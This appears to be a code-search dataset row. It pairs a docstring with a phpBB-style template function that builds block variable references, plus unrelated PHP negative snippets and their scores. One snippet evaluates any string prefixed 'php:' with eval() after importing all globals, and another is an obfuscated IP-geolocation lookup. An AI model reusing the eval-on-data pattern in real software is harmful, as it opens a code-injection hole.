$postparse;\n\t\t\t\t$this->pparse($str);\n\t\t\t}\n\t\t}\n\n\t\t// checking if handle exists\n\t\tif (empty($this->files[$handle]) && empty($this->files_cache[$handle]))\n\t\t{\n\t\t\tif(isset($this->files[$handle]) && ($this->files[$handle] === false))\n\t\t\t{\n\t\t\t\t// skip file\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\tdie(\"Template->loadfile(): No files found for handle $handle\");\n\t\t}\n\t\t$this->xs_startup();\n\t\t$force_recompile = empty($this->uncompiled_code[$handle]) ? false : true;\n\n\t\t// checking if php file exists.\n\t\tif (!empty($this->files_cache[$handle]) && !$force_recompile)\n\t\t{\n\t\t\t// php file exists - running it instead of tpl\n\t\t\t$this->execute($this->files_cache[$handle], '', $handle);\n\t\t\treturn true;\n\t\t}\n\n\t\tif (!$this->loadfile($handle))\n\t\t{\n\t\t\tdie(\"Template->pparse(): Couldn't load template file for handle $handle\");\n\t\t}\n\n\t\t// actually compile the template now.\n\t\tif (empty($this->compiled_code[$handle]))\n\t\t{\n\t\t\t// Actually compile the code now.\n\t\t\tif(!empty($this->files_cache2[$handle]) && empty($this->files_cache[$handle]) && !$force_recompile)\n\t\t\t{\n\t\t\t\t$this->compiled_code[$handle] = $this->compile2($this->uncompiled_code[$handle], $handle, $this->files_cache2[$handle]);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$this->compiled_code[$handle] = $this->compile2($this->uncompiled_code[$handle], '', '');\n\t\t\t}\n\t\t}\n\n\t\t// Run the compiled code.\n\t\tif (empty($this->files_cache[$handle]) || $force_recompile)\n\t\t{\n\t\t\t$this->execute('', $this->compiled_code[$handle], $handle);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->execute($this->files_cache[$handle], '', $handle);\n\t\t}\n\t\treturn true;\n\t}", "public static function getCode()\n\t{\n\t\tthrow new NotImplementedException;\n\t}", "function clear_files()\n\t{\n\t\t$this->files = array();\n\t\t$this->files_cache = array();\n\t\t$this->files_cache2 = array();\n\t\t$this->compiled_code = array();\n\t\t$this->uncompiled_code = array();\n\t}", "function compile ($src);", "public function compile()\n {\n $event = new Compiler\\Event();\n $event->setTarget($this);\n\n foreach ($this->files as $file) {\n $entry = include $file->getRealPath();\n if (! $entry instanceof EntryEntity) {\n continue;\n }\n\n if (! $entry->isValid()) {\n // If we have an invalid entry, we should not continue\n throw new RuntimeException(sprintf(\n \"Not valid post file: \\n%s\",\n implode(\"\\n\", array_map(function (array $errorMessages) {\n $message = array_shift($errorMessages);\n return '- ' . $message;\n }, $entry->getErrorMessages()))\n ));\n }\n\n if ($entry->isDraft()) {\n continue;\n }\n\n $date = new DateTime();\n $date->setTimestamp($entry->getCreated())\n ->setTimezone(new DateTimeZone($entry->getTimezone()));\n\n $event->setEntry($entry);\n $event->setDate($date);\n $event->setName('compile');\n $this->getEventManager()->triggerEvent($event);\n }\n\n $event = new Compiler\\Event();\n $event->setName('compile.end');\n $event->setTarget($this);\n $this->getEventManager()->triggerEvent($event);\n }", "function _phpCodeHandler($data)\r\n {\r\n if (preg_match('/\\s*^php:(.+)/', $data, $matches)) {\r\n $keys = array_keys($GLOBALS);\r\n foreach ($keys as $key) {\r\n $$key =& $GLOBALS[$key];\r\n }\r\n return (string) eval($matches[1].';');\r\n }\r\n return $data;\r\n }", "private function loadSmarty()\n {\n }", "public function compile(string $fileName)\n {\n $configFile = fopen($fileName, \"r\");\n if ($configFile) {\n $this->processConfigFile($configFile);\n fclose($configFile);\n } else {\n echo \"error\";\n }\n\n while(true) {\n $key = readline('Enter a key to retrieve the value from config or type exit to exit: ');\n if($key === \"exit\") {\n break;\n }\n\n if(array_key_exists($key, $this->compiled_values)) {\n $value = $this->compiled_values[$key];\n $value = is_bool($value) ? ( $value ? \"true\" : \"false\" ) : $value;\n echo $value.\"\\n\";\n } else {\n echo \"'$key' key does not exists in config\\n\";\n }\n\n }\n }", "public function run_hash_check() {\n add_action('plugins_loaded', array($this, 'hash_check' ));\n }", "protected function clearOpcodeCache() {}", "public function make($code);", "public function fileGetContentsExecPHP($filePath) {\n ob_start();\n include $filePath;\n return ob_get_clean();\n }", "public function getCodeHash() {\n $date = new \\DateTime();\n return hexdec($date->format('d-m-y his'));\n }", "function useFile($fileName)\n{\n\t$messages = array();\n\tinclude($fileName);\n\t$this->cache = $messages + $this->cache;\n\treturn count($messages);\n}", "function _obfuscate_j5SHjI6IhpKIh4_Hh4iMjIs’( $_obfuscate_jY6MkIuIioqTk4eIiIiNj5U’ )\r\n{\r\n if ( !preg_match( \"/^\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\$/\", $_obfuscate_jY6MkIuIioqTk4eIiIiNj5U’ ) )\r\n {\r\n return \"\";\r\n }\r\n if ( is_file( KSSROOTDIR.\"ip.dat\" ) && ( $_obfuscate_kJWHjIaOiY6Gh5GTi42Oh5A’ = @fopen( @KSSROOTDIR.\"ip.dat\", \"rb\" ) ) )\r\n {\r\n $_obfuscate_jY6MkIuIioqTk4eIiIiNj5U’ = explode( \".\", $_obfuscate_jY6MkIuIioqTk4eIiIiNj5U’ );\r\n $_obfuscate_kYmOjoiLkpCKiZGRiY2Mh5U’ = $_obfuscate_jY6MkIuIioqTk4eIiIiNj5U’[0] * 16777216 + $_obfuscate_jY6MkIuIioqTk4eIiIiNj5U’[1] * 65536 + $_obfuscate_jY6MkIuIioqTk4eIiIiNj5U’[2] * 256 + $_obfuscate_jY6MkIuIioqTk4eIiIiNj5U’[3];\r\n $_obfuscate_kY2HiIaKlI2Gi4_HiIaVipI’ = fread( $_obfuscate_kJWHjIaOiY6Gh5GTi42Oh5A’, 4 );\r\n $_obfuscate_iJWLk4yQiY6MlZOOhpCIkI8’ = fread( $_obfuscate_kJWHjIaOiY6Gh5GTi42Oh5A’, 4 );\r\n $_obfuscate_iJKJjpGSi5OPiYiTk5KGhpM’ = implode( \"\", unpack( \"L\", $_obfuscate_kY2HiIaKlI2Gi4_HiIaVipI’ ) );\r\n if ( $_obfuscate_iJKJjpGSi5OPiYiTk5KGhpM’ < 0 )\r\n {\r\n $_obfuscate_iJKJjpGSi5OPiYiTk5KGhpM’ += pow( 2, 32 );\r\n }\r\n $_obfuscate_homJkYmKkZSUi42PiYqVh5M’ = implode( \"\", unpack( \"L\", $_obfuscate_iJWLk4yQiY6MlZOOhpCIkI8’ ) );\r\n if ( $_obfuscate_homJkYmKkZSUi42PiYqVh5M’ < 0 )\r\n {\r\n $_obfuscate_homJkYmKkZSUi42PiYqVh5M’ += pow( 2, 32 );\r\n }\r\n $_obfuscate_i4aLjImMi5GNlY_IhpWTipU’ = ( $_obfuscate_homJkYmKkZSUi42PiYqVh5M’ - $_obfuscate_iJKJjpGSi5OPiYiTk5KGhpM’ ) / 7 + 1;\r\n $_obfuscate_lYaUjZWQhpSNj5OKlIyRi4w’ = 0;\r\n $_obfuscate_iJSUiYiSkI_OjomQk5SNi5Q’ = $_obfuscate_i4aLjImMi5GNlY_IhpWTipU’;\r\n $_obfuscate_k42NkoqPk5ORj4mSipSRkYY’ = 0;\r\n $_obfuscate_j4uMjoaUjYaNh5WUh4eGlIc’ = 0;\r\n $_obfuscate_iZCKh4qVkZCJjI2PkYuQjYk’ = \"\";\r\n $_obfuscate_jJCKipSPlY6PiZOKjIaJiog’ = \"\";\r\n while ( $_obfuscate_kYmOjoiLkpCKiZGRiY2Mh5U’ < $_obfuscate_k42NkoqPk5ORj4mSipSRkYY’ || $_obfuscate_j4uMjoaUjYaNh5WUh4eGlIc’ < $_obfuscate_kYmOjoiLkpCKiZGRiY2Mh5U’ )\r\n {\r\n $_obfuscate_jo2Vjo2IiIyJlYiGlZCLkIg’ = intval( ( $_obfuscate_iJSUiYiSkI_OjomQk5SNi5Q’ + $_obfuscate_lYaUjZWQhpSNj5OKlIyRi4w’ ) / 2 );\r\n fseek( $_obfuscate_kJWHjIaOiY6Gh5GTi42Oh5A’, $_obfuscate_iJKJjpGSi5OPiYiTk5KGhpM’ + 7 * $_obfuscate_jo2Vjo2IiIyJlYiGlZCLkIg’ );\r\n $_obfuscate_kZCGh5GVkZCHkYeLio_QiY4’ = fread( $_obfuscate_kJWHjIaOiY6Gh5GTi42Oh5A’, 4 );\r\n if ( strlen( $_obfuscate_kZCGh5GVkZCHkYeLio_QiY4’ ) < 4 )\r\n {\r\n fclose( $_obfuscate_kJWHjIaOiY6Gh5GTi42Oh5A’ );\r\n return \"System Error\";\r\n }\r\n $_obfuscate_k42NkoqPk5ORj4mSipSRkYY’ = implode( \"\", unpack( \"L\", $_obfuscate_kZCGh5GVkZCHkYeLio_QiY4’ ) );\r\n if ( $_obfuscate_k42NkoqPk5ORj4mSipSRkYY’ < 0 )\r\n {\r\n $_obfuscate_k42NkoqPk5ORj4mSipSRkYY’ += pow( 2, 32 );\r\n }\r\n if ( $_obfuscate_kYmOjoiLkpCKiZGRiY2Mh5U’ < $_obfuscate_k42NkoqPk5ORj4mSipSRkYY’ )\r\n {\r\n $_obfuscate_iJSUiYiSkI_OjomQk5SNi5Q’ = $_obfuscate_jo2Vjo2IiIyJlYiGlZCLkIg’;\r\n continue;\r\n }\r\n $_obfuscate_i4uRko2KkIyPkoiTlYqLjYc’ = fread( $_obfuscate_kJWHjIaOiY6Gh5GTi42Oh5A’, 3 );\r\n if ( strlen( $_obfuscate_i4uRko2KkIyPkoiTlYqLjYc’ ) < 3 )\r\n {\r\n fclose( $_obfuscate_kJWHjIaOiY6Gh5GTi42Oh5A’ );\r\n return \"System Error\";\r\n }\r\n $_obfuscate_i4uRko2KkIyPkoiTlYqLjYc’ = implode( \"\", unpack( \"L\", $_obfuscate_i4uRko2KkIyPkoiTlYqLjYc’.chr( 0 ) ) );\r\n fseek( $_obfuscate_kJWHjIaOiY6Gh5GTi42Oh5A’, $_obfuscate_i4uRko2KkIyPkoiTlYqLjYc’ );\r\n $_obfuscate_joeJj4eJkpWJh5GUi4yTj5I’ = fread( $_obfuscate_kJWHjIaOiY6Gh5GTi42Oh5A’, 4 );\r\n if ( strlen( $_obfuscate_joeJj4eJkpWJh5GUi4yTj5I’ ) < 4 )\r\n {\r\n fclose( $_obfuscate_kJWHjIaOiY6Gh5GTi42Oh5A’ );\r\n return \"System Error\";\r\n }\r\n $_obfuscate_j4uMjoaUjYaNh5WUh4eGlIc’ = implode( \"\", unpack( \"L\", $_obfuscate_joeJj4eJkpWJh5GUi4yTj5I’ ) );\r\n if ( $_obfuscate_j4uMjoaUjYaNh5WUh4eGlIc’ < 0 )\r\n {\r\n $_obfuscate_j4uMjoaUjYaNh5WUh4eGlIc’ += pow( 2, 32 );\r\n }\r\n if ( $_obfuscate_j4uMjoaUjYaNh5WUh4eGlIc’ < $_obfuscate_kYmOjoiLkpCKiZGRiY2Mh5U’ )\r\n {\r\n if ( $_obfuscate_jo2Vjo2IiIyJlYiGlZCLkIg’ == $_obfuscate_lYaUjZWQhpSNj5OKlIyRi4w’ )\r\n {\r\n fclose( $_obfuscate_kJWHjIaOiY6Gh5GTi42Oh5A’ );\r\n return \"Unknown\";\r\n }\r\n $_obfuscate_lYaUjZWQhpSNj5OKlIyRi4w’ = $_obfuscate_jo2Vjo2IiIyJlYiGlZCLkIg’;\r\n }\r\n }\r\n $_obfuscate_io6Sj4aOkI2Tk4uOjJGGjpU’ = fread( $_obfuscate_kJWHjIaOiY6Gh5GTi42Oh5A’, 1 );\r\n if ( $_obfuscate_io6Sj4aOkI2Tk4uOjJGGjpU’ == chr( 1 ) )\r\n {\r\n $_obfuscate_kpWRj5CRi4mHk4uKhoaSiI0’ = fread( $_obfuscate_kJWHjIaOiY6Gh5GTi42Oh5A’, 3 );\r\n if ( strlen( $_obfuscate_kpWRj5CRi4mHk4uKhoaSiI0’ ) < 3 )\r\n {\r\n fclose( $_obfuscate_kJWHjIaOiY6Gh5GTi42Oh5A’ );\r\n return \"System Error\";\r\n }\r\n $_obfuscate_kpWRj5CRi4mHk4uKhoaSiI0’ = implode( \"\", unpack( \"L\", $_obfuscate_kpWRj5CRi4mHk4uKhoaSiI0’.chr( 0 ) ) );\r\n fseek( $_obfuscate_kJWHjIaOiY6Gh5GTi42Oh5A’, $_obfuscate_kpWRj5CRi4mHk4uKhoaSiI0’ );\r\n $_obfuscate_io6Sj4aOkI2Tk4uOjJGGjpU’ = fread( $_obfuscate_kJWHjIaOiY6Gh5GTi42Oh5A’, 1 );\r\n }\r\n if ( $_obfuscate_io6Sj4aOkI2Tk4uOjJGGjpU’ == chr( 2 ) )\r\n {\r\n $_obfuscate_jIiHlIiLkIeMjIuRhoiNk4c’ = fread( $_obfuscate_kJWHjIaOiY6Gh5GTi42Oh5A’, 3 );\r\n if ( strlen( $_obfuscate_jIiHlIiLkIeMjIuRhoiNk4c’ ) < 3 )\r\n {\r\n fclose( $_obfuscate_kJWHjIaOiY6Gh5GTi42Oh5A’ );\r\n return \"System Error\";\r\n }\r\n $_obfuscate_io6Sj4aOkI2Tk4uOjJGGjpU’ = fread( $_obfuscate_kJWHjIaOiY6Gh5GTi42Oh5A’, 1 );\r\n if ( $_obfuscate_io6Sj4aOkI2Tk4uOjJGGjpU’ == chr( 2 ) )\r\n {\r\n $_obfuscate_ioyLjY2SlZCSkoqGj5CUiow’ = fread( $_obfuscate_kJWHjIaOiY6Gh5GTi42Oh5A’, 3 );\r\n if ( strlen( $_obfuscate_ioyLjY2SlZCSkoqGj5CUiow’ ) < 3 )\r\n {\r\n fclose( $_obfuscate_kJWHjIaOiY6Gh5GTi42Oh5A’ );\r\n return \"System Error\";\r\n }\r\n $_obfuscate_ioyLjY2SlZCSkoqGj5CUiow’ = implode( \"\", unpack( \"L\", $_obfuscate_ioyLjY2SlZCSkoqGj5CUiow’.chr( 0 ) ) );\r\n fseek( $_obfuscate_kJWHjIaOiY6Gh5GTi42Oh5A’, $_obfuscate_ioyLjY2SlZCSkoqGj5CUiow’ );\r\n }\r\n else\r\n {\r\n fseek( $_obfuscate_kJWHjIaOiY6Gh5GTi42Oh5A’, 0 - 1, SEEK_CUR );\r\n }\r\n while ( ( $_obfuscate_iY_HjI2IjIuOhpCIkoeVkIw’ = fread( $_obfuscate_kJWHjIaOiY6Gh5GTi42Oh5A’, 1 ) ) != chr( 0 ) )\r\n {\r\n $_obfuscate_jJCKipSPlY6PiZOKjIaJiog’ .= $_obfuscate_iY_HjI2IjIuOhpCIkoeVkIw’;\r\n }\r\n $_obfuscate_jIiHlIiLkIeMjIuRhoiNk4c’ = implode( \"\", unpack( \"L\", $_obfuscate_jIiHlIiLkIeMjIuRhoiNk4c’.chr( 0 ) ) );\r\n fseek( $_obfuscate_kJWHjIaOiY6Gh5GTi42Oh5A’, $_obfuscate_jIiHlIiLkIeMjIuRhoiNk4c’ );\r\n while ( ( $_obfuscate_iY_HjI2IjIuOhpCIkoeVkIw’ = fread( $_obfuscate_kJWHjIaOiY6Gh5GTi42Oh5A’, 1 ) ) != chr( 0 ) )\r\n {\r\n $_obfuscate_iZCKh4qVkZCJjI2PkYuQjYk’ .= $_obfuscate_iY_HjI2IjIuOhpCIkoeVkIw’;\r\n }\r\n }\r\n else\r\n {\r\n fseek( $_obfuscate_kJWHjIaOiY6Gh5GTi42Oh5A’, 0 - 1, SEEK_CUR );\r\n while ( ( $_obfuscate_iY_HjI2IjIuOhpCIkoeVkIw’ = fread( $_obfuscate_kJWHjIaOiY6Gh5GTi42Oh5A’, 1 ) ) != chr( 0 ) )\r\n {\r\n $_obfuscate_iZCKh4qVkZCJjI2PkYuQjYk’ .= $_obfuscate_iY_HjI2IjIuOhpCIkoeVkIw’;\r\n }\r\n $_obfuscate_io6Sj4aOkI2Tk4uOjJGGjpU’ = fread( $_obfuscate_kJWHjIaOiY6Gh5GTi42Oh5A’, 1 );\r\n if ( $_obfuscate_io6Sj4aOkI2Tk4uOjJGGjpU’ == chr( 2 ) )\r\n {\r\n $_obfuscate_ioyLjY2SlZCSkoqGj5CUiow’ = fread( $_obfuscate_kJWHjIaOiY6Gh5GTi42Oh5A’, 3 );\r\n if ( strlen( $_obfuscate_ioyLjY2SlZCSkoqGj5CUiow’ ) < 3 )\r\n {\r\n fclose( $_obfuscate_kJWHjIaOiY6Gh5GTi42Oh5A’ );\r\n return \"System Error\";\r\n }\r\n $_obfuscate_ioyLjY2SlZCSkoqGj5CUiow’ = implode( \"\", unpack( \"L\", $_obfuscate_ioyLjY2SlZCSkoqGj5CUiow’.chr( 0 ) ) );\r\n fseek( $_obfuscate_kJWHjIaOiY6Gh5GTi42Oh5A’, $_obfuscate_ioyLjY2SlZCSkoqGj5CUiow’ );\r\n }\r\n else\r\n {\r\n fseek( $_obfuscate_kJWHjIaOiY6Gh5GTi42Oh5A’, 0 - 1, SEEK_CUR );\r\n }\r\n while ( ( $_obfuscate_iY_HjI2IjIuOhpCIkoeVkIw’ = fread( $_obfuscate_kJWHjIaOiY6Gh5GTi42Oh5A’, 1 ) ) != chr( 0 ) )\r\n {\r\n $_obfuscate_jJCKipSPlY6PiZOKjIaJiog’ .= $_obfuscate_iY_HjI2IjIuOhpCIkoeVkIw’;\r\n }\r\n }\r\n fclose( $_obfuscate_kJWHjIaOiY6Gh5GTi42Oh5A’ );\r\n if ( preg_match( \"/http/i\", $_obfuscate_jJCKipSPlY6PiZOKjIaJiog’ ) )\r\n {\r\n $_obfuscate_jJCKipSPlY6PiZOKjIaJiog’ = \"\";\r\n }\r\n $_obfuscate_ko2JlJGPk4iPlIiIlYqKio8’ = $_obfuscate_iZCKh4qVkZCJjI2PkYuQjYk’.\" \".$_obfuscate_jJCKipSPlY6PiZOKjIaJiog’;\r\n $_obfuscate_ko2JlJGPk4iPlIiIlYqKio8’ = preg_replace( \"/CZ88\\\\.NET/is\", \"\", $_obfuscate_ko2JlJGPk4iPlIiIlYqKio8’ );\r\n $_obfuscate_ko2JlJGPk4iPlIiIlYqKio8’ = preg_replace( \"/^\\\\s*/is\", \"\", $_obfuscate_ko2JlJGPk4iPlIiIlYqKio8’ );\r\n $_obfuscate_ko2JlJGPk4iPlIiIlYqKio8’ = preg_replace( \"/\\\\s*$/is\", \"\", $_obfuscate_ko2JlJGPk4iPlIiIlYqKio8’ );\r\n if ( preg_match( \"/http/i\", $_obfuscate_ko2JlJGPk4iPlIiIlYqKio8’ ) || $_obfuscate_ko2JlJGPk4iPlIiIlYqKio8’ == \"\" )\r\n {\r\n $_obfuscate_ko2JlJGPk4iPlIiIlYqKio8’ = \"Unknown\";\r\n }\r\n return _obfuscate_hpSOjImTiIuPiJKUjoaKjpA’( $_obfuscate_ko2JlJGPk4iPlIiIlYqKio8’, \"GBK\", \"UTF-8\" );\r\n }\r\n else if ( _obfuscate_ipWHiIuOiYuPjIaPkZSThok’( \"curl_init\" ) )\r\n {\r\n if ( $_obfuscate_jY6MkIuIioqTk4eIiIiNj5U’ == \"255.255.255.255\" )\r\n {\r\n return \"å½“å‰ä½æē”ØIP138ęŽ„å£<br>å»ŗč®®ä½æē”ØēŗÆēœŸipåŗ“ļ¼šäø‹č½½<a href=http://www.onlinedown.net/soft/19051.htm target=_blank>QQWry.Dat</a>ę”¹åäøŗip.dat上传到KSS根目录!\";\r\n }\r\n $_obfuscate_j4eSkIiSiZCRh4_NiYaQkYk’ = _obfuscate_j5SMi5KSiouIj4iIipWIkIs’( \"http://www.ip138.com/ips1388.asp?ip=\".$_obfuscate_jY6MkIuIioqTk4eIiIiNj5U’.\"&action=2\", FALSE, 10 );\r\n if ( substr( $_obfuscate_j4eSkIiSiZCRh4_NiYaQkYk’, 0, 7 ) == \"curlerr\" )\r\n {\r\n return substr( $_obfuscate_j4eSkIiSiZCRh4_NiYaQkYk’, 8 );\r\n }\r\n $_obfuscate_j4eSkIiSiZCRh4_NiYaQkYk’ = _obfuscate_hpSOjImTiIuPiJKUjoaKjpA’( $_obfuscate_j4eSkIiSiZCRh4_NiYaQkYk’, \"GBK\", \"UTF-8\" );\r\n $_obfuscate_lY2VlYyLioeLlIyNiYqJkI4’ = stripos( $_obfuscate_j4eSkIiSiZCRh4_NiYaQkYk’, \"<ul class=\".YH2.\"ul1\".YH2.\">\" );\r\n $_obfuscate_iouUlJKTj5SIhoaUj4qVkYw’ = stripos( $_obfuscate_j4eSkIiSiZCRh4_NiYaQkYk’, \"</ul>\", $_obfuscate_lY2VlYyLioeLlIyNiYqJkI4’ + 5 );\r\n $_obfuscate_j4eSkIiSiZCRh4_NiYaQkYk’ = substr( $_obfuscate_j4eSkIiSiZCRh4_NiYaQkYk’, $_obfuscate_lY2VlYyLioeLlIyNiYqJkI4’ + 20, $_obfuscate_iouUlJKTj5SIhoaUj4qVkYw’ - $_obfuscate_lY2VlYyLioeLlIyNiYqJkI4’ - 20 );\r\n $_obfuscate_j4eSkIiSiZCRh4_NiYaQkYk’ = str_replace( \"</li><li>\", \"<br>\", $_obfuscate_j4eSkIiSiZCRh4_NiYaQkYk’ );\r\n $_obfuscate_j4eSkIiSiZCRh4_NiYaQkYk’ = str_replace( \"ęœ¬ē«™\", \"\", $_obfuscate_j4eSkIiSiZCRh4_NiYaQkYk’ );\r\n return $_obfuscate_j4eSkIiSiZCRh4_NiYaQkYk’;\r\n }\r\n else\r\n {\r\n return \"čÆ·å°†ä¼ ēŗÆēœŸipåŗ“<a href=http://www.onlinedown.net/soft/19051.htm target=_blank>QQWry.Dat</a>ę”¹åäøŗip.datäøŠä¼ åˆ°ę ¹ē›®å½•ļ¼ˆfavicon.icoę‰€åœØē›®å½•ļ¼‰ļ¼\";\r\n }\r\n}" ]
[ "0.5863324", "0.5845029", "0.54162925", "0.51376337", "0.507892", "0.504608", "0.50373584", "0.50022095", "0.48762745", "0.48295632", "0.48188838", "0.4810619", "0.47840375", "0.47717172", "0.4736299", "0.4735749", "0.47308913", "0.47092316", "0.46790174", "0.4646842", "0.46162847", "0.46106577", "0.46106085", "0.46076757", "0.456087", "0.45504573", "0.4524433", "0.45216596", "0.44980076", "0.44979757", "0.44686785", "0.44659048", "0.44531885", "0.44489118", "0.44334206", "0.44324094", "0.44275865", "0.44208425", "0.4397749", "0.43839988", "0.43837106", "0.43731186", "0.4368429", "0.435976", "0.43525362", "0.4341438", "0.4328728", "0.4318509", "0.4315681", "0.43156385", "0.43140787", "0.43137515", "0.43112642", "0.43075636", "0.42992195", "0.4298055", "0.42971262", "0.42811087", "0.42774177", "0.42738748", "0.42691135", "0.42563722", "0.42489767", "0.4246413", "0.42432803", "0.42397332", "0.42370296", "0.42330533", "0.42213", "0.42184204", "0.42176238", "0.42146403", "0.41966105", "0.4195327", "0.41756207", "0.4172122", "0.41687626", "0.41616425", "0.41595525", "0.41542372", "0.414978", "0.4146296", "0.41441968", "0.4143088", "0.41382796", "0.41381633", "0.41351146", "0.4129779", "0.41282624", "0.41169474", "0.41116592", "0.4111391", "0.41067514", "0.41056803", "0.4105212", "0.4090317", "0.40840504", "0.4083962", "0.40799257", "0.40709934" ]
0.5730686
2
Generates a reference to the given variable inside the given (possibly nested) block namespace. This is a string of the form: ' . $this>_tpldata['parent.'][$_parent_i]['$child1.'][$_child1_i]['$child2.'][$_child2_i]...['varname'] . ' It's ready to be inserted into an "echo" line in one of the templates. NOTE: expects a trailing "." on the namespace.
function generate_block_varref($namespace, $varname, $use_isset = true) { // Strip the trailing period. $namespace = substr($namespace, 0, strlen($namespace) - 1); // Get a reference to the data block for this namespace. $varref = $this->generate_block_data_ref($namespace, true); // Prepend the necessary code to stick this in an echo line. // Append the variable reference. $varref .= '[\'' . $varname . '\']'; if($use_isset) { $varref = '<' . '?php echo isset(' . $varref . ') ? ' . $varref . ' : \'\'; ?' . '>'; } else { $varref = '<' . '?php echo ' . $varref . '; ?' . '>'; } return $varref; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function generate_block_varref($namespace, $varname)\n\t{\n\t\t// Strip the trailing period.\n\t\t$namespace = substr($namespace, 0, strlen($namespace) - 1);\n\n\t\t// Get a reference to the data block for this namespace.\n\t\t$varref = $this->generate_block_data_ref($namespace, true);\n\t\t// Prepend the necessary code to stick this in an echo line.\n\n\t\t// Append the variable reference.\n\t\t$varref .= '[\\'' . $varname . '\\']';\n\n\t\t$varref = '\\' . ( ( isset(' . $varref . ') ) ? ' . $varref . ' : \\'\\' ) . \\'';\n\n\t\treturn $varref;\n\n\t}", "function generate_block_data_ref($blockname, $include_last_iterator)\n\t{\n\t\t// Get an array of the blocks involved.\n\t\t$blocks = explode(\".\", $blockname);\n\t\t$blockcount = sizeof($blocks) - 1;\n\t\t$varref = '$this->_tpldata';\n\t\t// Build up the string with everything but the last child.\n\t\tfor ($i = 0; $i < $blockcount; $i++)\n\t\t{\n\t\t\t$varref .= '[\\'' . $blocks[$i] . '.\\'][$_' . $blocks[$i] . '_i]';\n\t\t}\n\t\t// Add the block reference for the last child.\n\t\t$varref .= '[\\'' . $blocks[$blockcount] . '.\\']';\n\t\t// Add the iterator for the last child if requried.\n\t\tif ($include_last_iterator)\n\t\t{\n\t\t\t$varref .= '[$_' . $blocks[$blockcount] . '_i]';\n\t\t}\n\n\t\treturn $varref;\n\t}", "function generate_block_data_ref($blockname, $include_last_iterator, $defop = false)\n\t{\n\t\t// Get an array of the blocks involved.\n\t\t$blocks = explode('.', $blockname);\n\t\t$blockcount = sizeof($blocks) - 1;\n\t\tif($defop)\n\t\t{\n\t\t\t$varref = '$this->_tpldata[\\'DEFINE\\']';\n\t\t\t// Build up the string with everything but the last child.\n\t\t\tfor ($i = 0; $i < $blockcount; $i++)\n\t\t\t{\n\t\t\t\t$varref .= \"['\" . $blocks[$i] . \".'][\\$\" . $blocks[$i] . '_i]';\n\t\t\t}\n\t\t\t// Add the block reference for the last child.\n\t\t\t$varref .= \"['\" . $blocks[$blockcount] . \".']\";\n\t\t\t// Add the iterator for the last child if requried.\n\t\t\tif ($include_last_iterator)\n\t\t\t{\n\t\t\t\t$varref .= '[$' . $blocks[$blockcount] . '_i]';\n\t\t\t}\n\t\t\treturn $varref;\n\t\t}\n\t\tif($include_last_iterator)\n\t\t{\n\t\t\treturn '$' . $blocks[$blockcount] . '_item';\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn '$' . $blocks[$blockcount - 1] . '_item[\\'' . $blocks[$blockcount] . '.\\']';\n\t\t}\n\t}", "private static function getVariableIdentifier($namespace, $valueid)\r\n {\r\n return $namespace.'__'.$valueid;\r\n }", "function associateVariablesWithBlocks() {\n $varRefNo = 0;\n $activeBlockNo = 0;\n $nextBlockNo = 1;\n while ($varRefNo < $this->varRefTabCnt) {\n $vrtr =& $this->varRefTab[$varRefNo];\n $varRefTPos = $vrtr['tPosBegin'];\n $varNo = $vrtr['varNo'];\n if ($varRefTPos >= $this->blockTab[$activeBlockNo]['tPosEnd']) {\n $activeBlockNo = $this->blockTab[$activeBlockNo]['parentBlockNo'];\n continue; }\n if ($nextBlockNo < $this->blockTabCnt) {\n if ($varRefTPos >= $this->blockTab[$nextBlockNo]['tPosBegin']) {\n $activeBlockNo = $nextBlockNo;\n $nextBlockNo += 1;\n continue; }}\n $btr =& $this->blockTab[$activeBlockNo];\n if ($varRefTPos < $btr['tPosBegin'])\n $this->programLogicError(1);\n $blockVarNo = $btr['blockVarCnt']++;\n $btr['blockVarNoToVarNoMap'][$blockVarNo] = $varNo;\n if ($btr['firstVarRefNo'] == -1)\n $btr['firstVarRefNo'] = $varRefNo;\n $vrtr['blockNo'] = $activeBlockNo;\n $vrtr['blockVarNo'] = $blockVarNo;\n $varRefNo += 1; }}", "function compile($code, $do_not_echo = false, $retvar = '')\n\t{\n\t\t$code = str_replace('\\\\', '\\\\\\\\', $code);\n\t\t$code = str_replace('\\'', '\\\\\\'', $code);\n\n\t\t// change template varrefs into PHP varrefs\n\n\t\t// This one will handle varrefs WITH namespaces\n\t\t$varrefs = array();\n\t\tpreg_match_all('#\\{(([a-z0-9\\-_]+?\\.)+?)([a-z0-9\\-_]+?)\\}#is', $code, $varrefs);\n\t\t$varcount = sizeof($varrefs[1]);\n\t\tfor ($i = 0; $i < $varcount; $i++)\n\t\t{\n\t\t\t$namespace = $varrefs[1][$i];\n\t\t\t$varname = $varrefs[3][$i];\n\t\t\t$new = $this->generate_block_varref($namespace, $varname);\n\n\t\t\t$code = str_replace($varrefs[0][$i], $new, $code);\n\t\t}\n\n\t\t// This will handle the remaining root-level varrefs\n\t\t$code = preg_replace('#\\{([a-z0-9\\-_]*?)\\}#is', '\\' . ( ( isset($this->_tpldata[\\'.\\'][0][\\'\\1\\']) ) ? $this->_tpldata[\\'.\\'][0][\\'\\1\\'] : \\'\\' ) . \\'', $code);\n\n\t\t// Break it up into lines.\n\t\t$code_lines = explode(\"\\n\", $code);\n\n\t\t$block_nesting_level = 0;\n\t\t$block_names = array();\n\t\t$block_names[0] = \".\";\n\n\t\t// Second: prepend echo ', append ' . \"\\n\"; to each line.\n\t\t$line_count = sizeof($code_lines);\n\t\tfor ($i = 0; $i < $line_count; $i++)\n\t\t{\n\t\t\t$code_lines[$i] = chop($code_lines[$i]);\n\t\t\tif (preg_match('#<!-- BEGIN (.*?) -->#', $code_lines[$i], $m))\n\t\t\t{\n\t\t\t\t$n[0] = $m[0];\n\t\t\t\t$n[1] = $m[1];\n\n\t\t\t\t// Added: dougk_ff7-Keeps templates from bombing if begin is on the same line as end.. I think. :)\n\t\t\t\tif ( preg_match('#<!-- END (.*?) -->#', $code_lines[$i], $n) )\n\t\t\t\t{\n\t\t\t\t\t$block_nesting_level++;\n\t\t\t\t\t$block_names[$block_nesting_level] = $m[1];\n\t\t\t\t\tif ($block_nesting_level < 2)\n\t\t\t\t\t{\n\t\t\t\t\t\t// Block is not 